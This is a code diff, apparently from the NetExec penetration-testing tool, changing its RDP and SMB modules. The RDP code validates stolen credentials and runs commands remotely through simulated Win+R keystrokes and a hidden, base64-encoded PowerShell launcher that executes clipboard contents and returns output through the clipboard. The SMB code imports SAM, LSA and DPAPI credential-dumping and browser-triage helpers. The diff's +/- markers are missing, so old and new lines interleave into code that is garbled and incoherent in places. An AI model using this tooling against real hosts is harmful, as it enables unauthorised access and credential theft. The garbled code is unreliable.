(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'} ({reason if reason else str(e)})"),
color=("magenta" if ((reason or "CredSSP" in str(e)) and reason != "KDC_ERR_C_PRINCIPAL_UNKNOWN") else "red"),
)
elif "Authentication failed!" in str(e):
self.logger.success(f"{domain}\\{username}:{(process_secret(password))} {self.mark_pwned()}")
elif self.rdp_access_denied():
self.logger.success(f"{domain}\\{username}{' from ccache' if useCache else f':{process_secret(kerb_pass)}'}")
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
return True
elif "No such file" in str(e):
self.logger.fail(e)
else:
@@ -317,6 +370,7 @@ class rdp(connection):
return False
def plaintext_login(self, domain, username, password):
self.username = username
try:
self.auth = NTLMCredential(
secret=password,
@@ -324,10 +378,8 @@ class rdp(connection):
domain=domain,
stype=asyauthSecret.PASS,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp_with_cleanup())
self.admin_privs = self.runner.run(self.login_and_confirm())
self.admin_privs = True
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
@@ -335,8 +387,11 @@ class rdp(connection):
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
return True
except Exception as e:
if "Authentication failed!" in str(e):
self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}")
if self.rdp_access_denied():
self.logger.success(f"{domain}\\{username}:{process_secret(password)}")
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
return True
else:
reason = None
for word in self.rdp_error_status:
@@ -351,6 +406,7 @@ class rdp(connection):
return False
def hash_login(self, domain, username, ntlm_hash):
self.username = username
try:
self.auth = NTLMCredential(
secret=ntlm_hash,
@@ -358,10 +414,8 @@ class rdp(connection):
domain=domain,
stype=asyauthSecret.NT,
)
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
asyncio.run(self.connect_rdp_with_cleanup())
self.admin_privs = self.runner.run(self.login_and_confirm())
self.admin_privs = True
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
@@ -369,8 +423,11 @@ class rdp(connection):
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
return True
except Exception as e:
if "Authentication failed!" in str(e):
self.logger.success(f"{domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}")
if self.rdp_access_denied():
self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)}")
if not self.args.local_auth and self.username != "":
add_user_bh(username, domain, self.logger, self.config)
return True
else:
reason = None
for word in self.rdp_error_status:
@@ -388,10 +445,11 @@ class rdp(connection):
async def _send_keystrokes(self, text, delay=0.02):
"""Helper method to send keystrokes to the RDP session"""
for char in text:
key_event = RDP_KEYBOARD_UNICODE()
key_event.char = char
key_event.is_pressed = True
await self.conn.ext_in_queue.put(key_event)
for is_pressed in (True, False):
key_event = RDP_KEYBOARD_UNICODE()
key_event.char = char
key_event.is_pressed = is_pressed
await self.conn.ext_in_queue.put(key_event)
await asyncio.sleep(delay)
async def _send_enter(self):
@@ -400,144 +458,223 @@ class rdp(connection):
await asyncio.sleep(0.05)
await self.conn.send_key_virtualkey("VK_RETURN", False, False)
async def _send_shortcut(self, modifier, key):
layout = KeyboardLayoutManager().get_layout_by_shortname("enus")
modifier_scancode = layout.vk_to_scancode(modifier)
key_scancode = layout.char_to_scancode(key)[0]
await self.conn.send_key_scancode(modifier_scancode, True, False)
await asyncio.sleep(0.05)
await self.conn.send_key_scancode(key_scancode, True, False)
await asyncio.sleep(0.05)
await self.conn.send_key_scancode(key_scancode, False, False)
await asyncio.sleep(0.05)
await self.conn.send_key_scancode(modifier_scancode, False, False)
async def _send_win_r(self):
"""Helper method to send Windows+R key combination to open Run dialog"""
self.logger.debug("Sending Win+R using scancode method")
for _ in range(2):
_, err = await self.conn.send_focus_in()
if err is not None:
raise err
await self._send_shortcut("VK_LWIN", "r")
await asyncio.sleep(0.5)
@staticmethod
def _build_execution_command(payload, shell_type, marker, get_output):
if not get_output:
if shell_type == "cmd":
return f"cmd.exe /d /s /c {payload}"
if shell_type == "powershell":
return (
"powershell.exe -NoLogo -NoProfile -NonInteractive "
f"-WindowStyle Hidden -Command {payload}"
)
raise ValueError(f"Unsupported shell type: {shell_type}")
payload_encoded = base64.b64encode(payload.encode("utf-16-le")).decode("ascii")
decode_payload = f"$command = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('{payload_encoded}'))"
if shell_type == "cmd":
invoke_command = "$output = & $env:ComSpec /d /s /c $command 2>&1"
elif shell_type == "powershell":
invoke_command = "$output = & ([ScriptBlock]::Create($command)) 2>&1"
else:
raise ValueError(f"Unsupported shell type: {shell_type}")
start_marker = f"__NXC_RDP_START_{marker}__"
end_marker = f"__NXC_RDP_END_{marker}__"
script = f"""
$ErrorActionPreference = 'Continue'
{decode_payload}
try {{
{invoke_command}
$succeeded = $?
$nativeExitCode = $LASTEXITCODE
}} catch {{
$output = $_
$succeeded = $false
$nativeExitCode = $null
}}
$exitCode = if ($null -ne $nativeExitCode) {{ [int]$nativeExitCode }} elseif (-not $succeeded) {{ 1 }} else {{ 0 }}
$outputText = ($output | Out-String -Width 4096).TrimEnd()
$result = @('{start_marker}', [string]$exitCode, $outputText, '{end_marker}') -join [Environment]::NewLine
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.Clipboard]::SetText($result)
"""
encoded_script = base64.b64encode(script.encode("utf-16-le")).decode("ascii")
return f"powershell.exe -NoLogo -NoProfile -NonInteractive -STA -WindowStyle Hidden -EncodedCommand {encoded_script}"
@staticmethod
def _parse_execution_result(clipboard_text, marker):
start_marker = f"__NXC_RDP_START_{marker}__"
end_marker = f"__NXC_RDP_END_{marker}__"
normalized = clipboard_text.replace("\r\n", "\n").rstrip("\x00")
start_index = normalized.find(start_marker)
end_index = normalized.find(end_marker, start_index + len(start_marker))
if start_index == -1 or end_index == -1:
return None
body = normalized[start_index + len(start_marker):end_index].lstrip("\n")
exit_code_text, separator, output = body.partition("\n")
if not separator:
return None
try:
self.logger.debug("Sending Win+R using scancode method")
exit_code = int(exit_code_text.strip())
except ValueError:
return None
return exit_code, output.rstrip("\n")
layout = KeyboardLayoutManager().get_layout_by_shortname("enus")
async def _wait_for_event(self, event_names, max_wait):
loop = asyncio.get_running_loop()
deadline = loop.time() + max_wait
win_scancode = layout.vk_to_scancode("VK_LWIN")
await self.conn.send_key_scancode(win_scancode, True, False)
await asyncio.sleep(0.1)
while True:
if self.conn.disconnected_evt.is_set():
raise ConnectionError("RDP connection was terminated")
r_scancode = layout.char_to_scancode("r")[0]
await self.conn.send_key_scancode(r_scancode, True, False)
await asyncio.sleep(0.1)
remaining = deadline - loop.time()
if remaining <= 0:
raise TimeoutError
await self.conn.send_key_scancode(r_scancode, False, False)
await asyncio.sleep(0.1)
data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=remaining)
if data is None:
raise ConnectionError("RDP connection was terminated")
await self.conn.send_key_scancode(win_scancode, False, False)
event_name = getattr(getattr(data, "type", None), "name", None)
if event_name in event_names:
return data
await asyncio.sleep(0.5)
async def _wait_for_desktop(self):
loop = asyncio.get_running_loop()
started_at = loop.time()
self.logger.debug("Win+R sent successfully")
return True
except (ConnectionResetError, ConnectionError, OSError) as e:
self.logger.debug(f"Connection error while waiting for clipboard: {e!s}")
self.logger.fail("Connection was reset by the remote host")
return False
except Exception as e:
self.logger.debug(f"Error sending Win+R: {e!s}")
self.logger.debug("Using fallback approach for opening command prompt")
return False
if not self.conn.desktop_buffer_has_data:
try:
await self._wait_for_event({"VIDEO"}, self.args.cmd_delay)
except TimeoutError:
self.logger.debug("No desktop update received before command execution; continuing")
remaining_delay = self.args.cmd_delay - (loop.time() - started_at)
if remaining_delay > 0:
await asyncio.sleep(remaining_delay)
async def _submit_run_command(self, command):
await self._send_win_r()
await self.conn.set_current_clipboard_text(command)
# server must acknowledge our clipboard data before we trigger the read
response = await self._wait_for_event({"CLIPBOARD_FORMAT_LIST_RESPONSE"}, self.args.clipboard_delay)
if not response.accepted:
raise RuntimeError("Remote session rejected the clipboard command data")
# type a one-liner that reads and executes the clipboard we just set
# uses .NET WinForms API instead of Get-Clipboard (which requires PS5+)
await self._send_keystrokes(
"powershell.exe -NoLogo -NoProfile -NonInteractive -STA "
'-WindowStyle Hidden -Command "Add-Type -AssemblyName '
"System.Windows.Forms; Invoke-Expression "
'([System.Windows.Forms.Clipboard]::GetText())"'
)
await self._send_enter()
async def _submit_typed_run_command(self, command):
await self._send_win_r()
await self._send_keystrokes(command, delay=0.005)
await self._send_enter()
async def _wait_for_command_result(self, marker):
loop = asyncio.get_running_loop()
deadline = loop.time() + self.args.clipboard_delay
while True:
remaining = deadline - loop.time()
if remaining <= 0:
raise TimeoutError
data = await self._wait_for_event({"CLIPBOARD_DATA_TXT"}, remaining)
result = self._parse_execution_result(data.data, marker)
if result is not None:
return result
async def execute_shell(self, payload, get_output, shell_type):
# Append | clip to send output to clipboard
if shell_type == "cmd":
payload_with_clip = f"{payload} | clip & exit"
elif shell_type == "powershell":
payload_with_clip = f"try {{ {payload} 2>&1 | clip}} catch {{ $_ | clip}}; exit"
else:
self.logger.fail(f"Unsupported shell type: {shell_type}")
return None
self.logger.debug(f"Executing command: {payload_with_clip}")
try:
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
await self.connect_rdp()
except Exception as e:
self.logger.debug(f"Error connecting to RDP: {e!s}")
return None
marker = uuid4().hex if get_output else None
command = self._build_execution_command(payload, shell_type, marker, get_output)
self.logger.debug(f"Executing {shell_type} command through {'an encoded PowerShell launcher' if get_output else 'interactive keyboard input'}")
try:
if get_output:
self.logger.success("Waiting for clipboard to be ready...")
clipboard_ready = False
await asyncio.sleep(self.args.cmd_delay)
timeout_counter = 0
while not clipboard_ready and timeout_counter < (self.args.clipboard_delay * 10): # Convert seconds to deciseconds
try:
data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=0.1)
if hasattr(data, "type") and data.type.name == "CLIPBOARD_READY":
clipboard_ready = True
self.logger.debug("Clipboard is ready!")
break
except asyncio.TimeoutError:
timeout_counter += 1
continue
except (ConnectionResetError, ConnectionError, OSError) as e:
self.logger.debug(f"Connection error while waiting for clipboard: {e!s}")
self.logger.fail("Connection was reset by the remote host")
return ""
except Exception as e:
self.logger.debug(f"Error waiting for clipboard: {e!s}")
self.logger.fail("Warning: Clipboard may not be fully initialized, no output can be retrieved")
return ""
if not clipboard_ready:
try:
await self._wait_for_event({"CLIPBOARD_READY"}, self.args.clipboard_delay)
except TimeoutError:
self.logger.fail("Clipboard cannot be initialized, no output can be retrieved")
return ""
return None
# Wait for desktop to be available
await asyncio.sleep(self.args.cmd_delay)
await self._wait_for_desktop()
if get_output:
# On first RDP logon after boot, Explorer may not be ready to
# process Win+R immediately after the desktop appears. This
# no-op warmup command absorbs the race: if the shell isn't
# ready it silently fails, and the 3-second pause gives Explorer
# time to finish initialization before the real command.
await self._submit_typed_run_command(
"powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden "
'-Command "Add-Type -AssemblyName System.Windows.Forms"'
)
await asyncio.sleep(3)
if get_output:
try:
await self._submit_run_command(command)
except TimeoutError:
self.logger.fail("Remote session did not acknowledge the clipboard command data")
return None
else:
await self._submit_typed_run_command(command)
if not get_output:
await asyncio.sleep(self.args.cmd_delay)
self.logger.success("Executed command without retrieving output")
return None
try:
# Try to open Run dialog using Windows+R
self.logger.debug("Attempting to open Run dialog")
win_r_success = await self._send_win_r()
if win_r_success:
self.logger.debug(f"Launching {shell_type} via Run dialog")
await self._send_keystrokes(f"{shell_type}.exe")
await self._send_enter()
await asyncio.sleep(self.args.cmd_delay) # Wait for cmd window to open
else:
# Fallback: Try direct command typing (assumes cmd may already be open)
self.logger.debug(f"Sending {shell_type} command directly")
await self._send_keystrokes(f"{shell_type}.exe")
await self._send_enter()
await asyncio.sleep(self.args.cmd_delay)
# Type the command with | clip
self.logger.debug(f"Typing command: {payload_with_clip}")
await self._send_keystrokes(payload_with_clip)
await self._send_enter()
# Wait for command to execute
await asyncio.sleep(self.args.cmd_delay)
if get_output:
# Get the current clipboard text
self.logger.debug("Getting clipboard content...")
clipboard_text = await self.conn.get_current_clipboard_text()
if clipboard_text:
self.logger.debug("Command output retrieved from clipboard:")
for line in clipboard_text.lstrip().strip("\n").splitlines():
self.logger.highlight(line)
else:
self.logger.fail("Clipboard is empty or contains non-text data")
return clipboard_text
else:
self.logger.success("Executed command without retrieving output")
self.logger.debug("Command execution completed")
exit_code, output = await self._wait_for_command_result(marker)
except TimeoutError:
self.logger.fail("Timed out waiting for command output on the RDP clipboard")
return None
except (ConnectionResetError, ConnectionError, OSError) as e:
self.logger.debug(f"Connection error during command execution: {e!s}")
self.logger.fail("Connection was reset by the remote host during command execution")
return None
except Exception as e:
self.logger.debug(f"Error during command execution: {e!s}")
if "cannot unpack non-iterable NoneType object" in str(e):
self.logger.fail("RDP connection was terminated unexpectedly")
else:
self.logger.fail(f"Command execution failed: {e!s}")
return None
if exit_code != 0:
self.logger.fail(f"Command completed with exit code {exit_code}")
if output:
for line in output.splitlines():
self.logger.highlight(line)
else:
self.logger.debug("Command completed without output")
return output
except (ConnectionResetError, ConnectionError, OSError) as e:
self.logger.debug(f"Connection error: {e!s}")
@@ -547,10 +684,6 @@ class rdp(connection):
self.logger.debug(f"Unexpected error: {e!s}")
self.logger.fail(f"Command execution failed: {e!s}")
return None
finally:
# clean up the connection with a timeout to prevent aardwolf deadlock (see https://github.com/skelsec/aardwolf/issues/43)
self.logger.debug("Terminating RDP connection")
await self.terminate_conn()
def execute(self, payload=None, shell_type="cmd"):
"""Execute a command via RDP"""
@@ -559,71 +692,70 @@ class rdp(connection):
get_output = bool(not self.args.no_output)
self.logger.success(f"Executing command: {payload} with delay {self.args.cmd_delay} seconds")
if not self.username: # every login method sets it, so empty means no credentials were given and there is no desktop to capture
self.logger.fail("-x/-X need credentials")
return None
if self.conn.disconnected_evt.is_set(): # valid credentials without the RDP right open no session: skip silently, like smb -x without admin rights
return None
self.logger.success(f"Executing command: {payload}")
try:
result = asyncio.run(self.execute_shell(payload, get_output, shell_type))
result = self.runner.run(self.execute_shell(payload, get_output, shell_type))
if result:
if result is not None:
self.logger.debug("Command execution completed")
return result
except Exception as e:
self.logger.error(f"Command execution error: {e!s}")
if shell_type == "cmd":
self.logger.info("Cannot execute command via cmd - now switching to PowerShell to attempt execution")
try:
return self.execute(payload, shell_type="powershell")
except Exception as e2:
self.logger.fail(f"Execute command failed, error: {e2!s}")
else:
self.logger.fail(f"Execute command failed, error: {e!s}")
self.logger.fail(f"Execute command failed, error: {e!s}")
def ps_execute(self):
self.execute(payload=self.args.ps_execute, shell_type="powershell")
async def save_screenshot(self, desktop, label):
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
desktop.save(filename, "png")
self.logger.highlight(f"{label} saved {filename}")
async def screen(self):
try:
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
await self.connect_rdp()
await asyncio.sleep(5)
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"Screenshot saved {filename}")
await asyncio.sleep(self.args.screentime)
if self.conn.desktop_buffer_has_data:
await self.save_screenshot(self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL), "Screenshot")
else:
self.logger.fail(f"No desktop data after {self.args.screentime}s, try a longer --screentime")
except Exception as e:
self.logger.debug(f"Error taking screenshot: {e!s}")
finally:
await self.terminate_conn()
self.logger.fail(f"Could not take the screenshot: {e!s}")
def screenshot(self):
asyncio.run(self.screen())
if not self.username: # every login method sets it, so empty means no credentials were given and there is no desktop to capture
self.logger.fail("--screenshot needs credentials, use --nla-screenshot to capture the login screen")
elif not self.conn.disconnected_evt.is_set(): # no session to capture: same silent skip as execute()
self.runner.run(self.screen())
async def nla_screen(self):
self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS)
connected = False
for proto in self.protoflags_nla:
try:
self.iosettings.supported_protocols = proto
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
self.conn = self._create_rdp_connection(self.auth, supported_protocols=proto)
await self.connect_rdp()
except Exception as e:
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
await self.terminate_conn()
continue
connected = True
try:
await asyncio.sleep(int(self.args.screentime))
await asyncio.sleep(self.args.screentime)
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
buffer.save(filename, "png")
self.logger.highlight(f"NLA Screenshot saved {filename}")
await self.save_screenshot(self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL), "NLA Screenshot")
return
finally:
await self.terminate_conn()
self.logger.fail(f"No login screen data after {self.args.screentime}s, try a longer --screentime" if connected else "Could not connect without NLA to capture the login screen")
def nla_screenshot(self):
if not self.nla:
asyncio.run(self.nla_screen())
self.runner.run(self.nla_screen())
+3 -3
View File
@@ -14,14 +14,14 @@ def proto_args(parser, parents):
egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot")
egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success")
egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image")
egroup.add_argument("--screentime", type=int, default=5, help="Time to wait for desktop image")
egroup.add_argument("--res", default="1024x768", help="Resolution in WIDTHxHEIGHT format")
cgroup = rdp_parser.add_argument_group("Command Execution")
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
cgroup.add_argument("--cmd-delay", type=int, default=5, help="Sleep time before executing command")
cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization (seconds)")
cgroup.add_argument("--cmd-delay", type=int, default=5, help="Delay before executing the command and before disconnecting with --no-output")
cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization and command output")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
return parser
+233 -345
View File
@@ -4,13 +4,18 @@ import os
import re
import struct
import ipaddress
from pathlib import Path
from nxc.helpers.path import sanitize_path_component
from Cryptodome.Hash import MD4
from textwrap import dedent
from nxc.helpers.misc import sanitize_dns
from impacket.smbconnection import SMBConnection, SessionError
from impacket.smb import SMB_DIALECT
from impacket.smb3structs import SMB2_DIALECT_30, SMB2_NEGOTIATE_SIGNING_REQUIRED
from impacket.examples.secretsdump import (
LocalOperations,
RemoteOperations,
SAMHashes,
LSASecrets,
@@ -42,24 +47,25 @@ from impacket.smb3structs import (
FILE_ADD_SUBDIRECTORY,
FILE_DIRECTORY_FILE,
FILE_OPEN,
FILE_READ_DATA,
FILE_SHARE_DELETE,
FILE_SHARE_READ,
FILE_SHARE_WRITE,
FILE_SYNCHRONOUS_IO_NONALERT,
FILE_WRITE_DATA,
GENERIC_WRITE,
SMB2_0_IOCTL_IS_FSCTL,
WRITE_DAC,
WRITE_OWNER,
)
from impacket.dcerpc.v5 import tsts as TSTS
from nxc.config import process_secret, host_info_colors, check_guest_account, display_dc
from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
from nxc.connection import connection, sem, requires_admin
from nxc.helpers.rpc import dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string, validate_ntlm
from nxc.logger import NXCAdapter
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.paths import NXC_PATH
from nxc.protocols.smb.kerberos import kerberos_login_with_S4U, kerberos_altservice, get_realm_from_ticket
from nxc.protocols.smb.wmiexec import WMIEXEC
from nxc.protocols.smb.atexec import TSCH_EXEC
@@ -72,17 +78,13 @@ from nxc.protocols.smb.samrfunc import SamrFunc
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
from nxc.helpers.logger import highlight
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.dpapi import DPAPITriage
from nxc.helpers.rpc import NXCRPCConnection
from nxc.helpers.powershell import create_ps_command
from nxc.helpers.misc import detect_if_ip
from nxc.protocols.ldap.resolution import LDAPResolution
from dploot.triage.vaults import VaultsTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.cng import CngTriage
from dploot.lib.target import Target
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
from dploot.lib.network.smb import SMBTarget as Target
from time import time, ctime, sleep
from traceback import format_exc
@@ -129,18 +131,18 @@ class smb(connection):
self.server_os_major = None
self.server_os_minor = None
self.server_os_build = None
self.os_arch = 0
self.os_arch = None
self.hash = None
self.lmhash = ""
self.nthash = ""
self.remote_ops = None
self.bootkey = None
self.dpapi_system_key = None
self.smbv1 = None # Check if SMBv1 is supported
self.smbv3 = None # Check if SMBv3 is supported
self.is_timed_out = False
self.signing = False
self.smb_share_name = smb_share_name
self.pvkbytes = None
self.no_da = None
self.no_ntlm = False
self.null_auth = False
@@ -150,6 +152,8 @@ class smb(connection):
self.tgt = None
self.tgs = None
self._dpapi_triage = None
connection.__init__(self, args, db, host)
def proto_logger(self):
@@ -183,7 +187,7 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error retrieving os arch of {self.host}: {e!s}")
return 0
return None
def enum_host_info(self):
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
@@ -200,28 +204,33 @@ class smb(connection):
self.no_ntlm = True
self.logger.debug("NTLM not supported")
# Runs before the DC check: the RPC tier reuses its port 135 result instead of probing the port again
self.os_arch = self.get_os_arch()
aggressive_check = bool(self.args.generate_hosts_file or self.args.generate_krb5_file)
self.is_host_dc(aggressive_check=aggressive_check)
# self.domain is the attribute we authenticate with
# self.targetDomain is the attribute which gets displayed as host domain
# self.remoteName is the attribute which gets used in the SPN
self.hostname = self.host
self.targetDomain = self.host
self.remoteName = self.host
if not self.no_ntlm:
# Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars
dns_hostname = self.conn.getServerDNSHostName().upper()
dns_hostname = sanitize_dns(self.conn.getServerDNSHostName() or self.conn.getServerName(), self.logger).upper()
if dns_hostname and "." in dns_hostname:
self.hostname = dns_hostname.split(".")[0]
elif dns_hostname:
self.hostname = dns_hostname
self.hostname = dns_hostname.split(".", 1)[0]
else:
self.hostname = self.conn.getServerName()
self.targetDomain = self.conn.getServerDNSDomainName()
if not self.targetDomain: # Not sure if that can even happen but now we are safe
self.targetDomain = self.hostname
self.hostname = dns_hostname
self.targetDomain = sanitize_dns(self.conn.getServerDNSDomainName() or self.hostname, self.logger)
# Preserve IP as target if not required by Kerberos to avoid issues when DNS is not resolvable
self.remoteName = dns_hostname if self.kerberos else self.host
else:
try:
# If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available
if self.isdc and detect_if_ip(self.host):
self.hostname, self.domain = LDAPResolution(self.host).get_resolution()
self.hostname, self.domain, self.remoteName = LDAPResolution(self.host).get_resolution()
self.targetDomain = self.domain
# If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it
else:
@@ -229,19 +238,12 @@ class smb(connection):
import socket
socket.inet_aton(self.host)
self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name")
self.hostname = self.host
self.targetDomain = self.host
except OSError:
if self.host.count(".") >= 1:
self.hostname = self.host.split(".")[0]
self.targetDomain = ".".join(self.host.split(".")[1:])
else:
self.hostname = self.host
self.targetDomain = self.host
except Exception as e:
self.logger.debug(f"Error getting hostname from LDAP: {e}")
self.hostname = self.host
self.targetDomain = self.host
if self.args.domain:
self.domain = self.args.domain
@@ -256,7 +258,6 @@ class smb(connection):
# As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725
# Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0
# Also only on Windows we should get an OS arch as for that we would need MSRPC
try:
self.server_os = self.conn.getServerOS()
self.server_os_major = self.conn.getServerOSMajor()
@@ -269,9 +270,9 @@ class smb(connection):
if isinstance(self.server_os.lower(), bytes):
self.server_os = self.server_os.decode("utf-8")
if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
if "Windows 6.1" in self.server_os and self.server_os_build == 0:
self.server_os = "Unix - Samba"
elif self.server_os_build == 0 and self.os_arch == 0:
elif self.server_os_build == 0:
self.server_os = "Unix"
self.logger.debug(f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}")
@@ -282,8 +283,6 @@ class smb(connection):
except Exception as e:
self.logger.debug(e)
self.os_arch = self.get_os_arch()
# moved at the end because it can cause issues with some DCs if we try to login as guest before checking if dc or not
if check_guest_account and not self.no_ntlm:
try:
@@ -311,14 +310,11 @@ class smb(connection):
except Exception as e:
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}"
# using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain
if not self.kdcHost and self.domain and self.domain == self.targetDomain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
self.logger.debug(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
def print_host_info(self):
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
@@ -424,6 +420,8 @@ class smb(connection):
if self.args.generate_st:
self.save_st(tgs, sk, spn if self.args.spn else None)
if not tgs and not useCache:
self.logger.debug(f"TGS for cifs/{self.remoteName} will be requested")
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
if self.args.generate_st:
@@ -646,7 +644,7 @@ class smb(connection):
return self.conn.isSigningRequired()
def create_smbv1_conn(self, check=False):
self.logger.info(f"Creating SMBv1 connection to {self.host}")
self.logger.debug(f"Creating SMBv1 connection to {self.host}")
try:
conn = SMBConnection(
self.remoteName,
@@ -661,26 +659,26 @@ class smb(connection):
self.conn = conn
except OSError as e:
if "Connection reset by peer" in str(e):
self.logger.info(f"SMBv1 might be disabled on {self.host}")
self.logger.debug(f"SMBv1 might be disabled on {self.host}")
elif "timed out" in str(e):
self.is_timed_out = True
self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}")
else:
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}")
self.smbv1 = False
return False
except NetBIOSError:
self.logger.info(f"SMBv1 disabled on {self.host}")
self.logger.debug(f"SMBv1 disabled on {self.host}")
self.smbv1 = False
return False
except (Exception, NetBIOSTimeout) as e:
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}")
self.smbv1 = False
return False
return True
def create_smbv3_conn(self):
self.logger.info(f"Creating SMBv3 connection to {self.host}")
self.logger.debug(f"Creating SMBv3 connection to {self.host}")
try:
self.conn = SMBConnection(
self.remoteName,
@@ -695,7 +693,7 @@ class smb(connection):
self.is_timed_out = True
self.logger.debug(f"Timeout creating SMBv3 connection to {self.host}")
else:
self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
self.logger.debug(f"Error creating SMBv3 connection to {self.host}: {e}")
self.smbv3 = False
return False
return True
@@ -870,9 +868,7 @@ class smb(connection):
if self.isdc is not None:
return self.isdc
probes = [self._is_dc_via_smb]
if aggressive_check:
probes.append(self._is_dc_via_rpc)
probes = [self._is_dc_via_smb, self._is_dc_via_rpc]
if self.no_ntlm or aggressive_check:
probes.append(self._is_dc_via_kerberos)
@@ -891,17 +887,13 @@ class smb(connection):
session we already hold answers without enumerating every share (unlike
listShares). ACCESS_DENIED still proves the share exists, hence a DC.
Meant to run while the null session is still fresh. When there is no
session, the reason is decisive: a DC with NTLM enabled always accepts
the null bind, so "NTLM on + no null session" means this is NOT a DC.
Only "NTLM disabled" is inconclusive here (a real DC can refuse the null
bind then), so we hand that case off to the Kerberos tier.
Meant to run while the null session is still fresh. Without a session
this check is inconclusive: DCs can refuse the null bind (Server 2025
does by default, as does an NTLM-disabled DC), so we hand off to the
RPC/Kerberos tiers.
"""
if not self.null_auth:
if not self.no_ntlm:
self.logger.debug("NTLM enabled but no null session: host is not a DC")
return False
self.logger.debug("No null session (NTLM disabled): deferring to Kerberos")
self.logger.debug("No null session: SMB DC check inconclusive, deferring to RPC/Kerberos")
return None
try:
tid = self.conn.connectTree("SYSVOL")
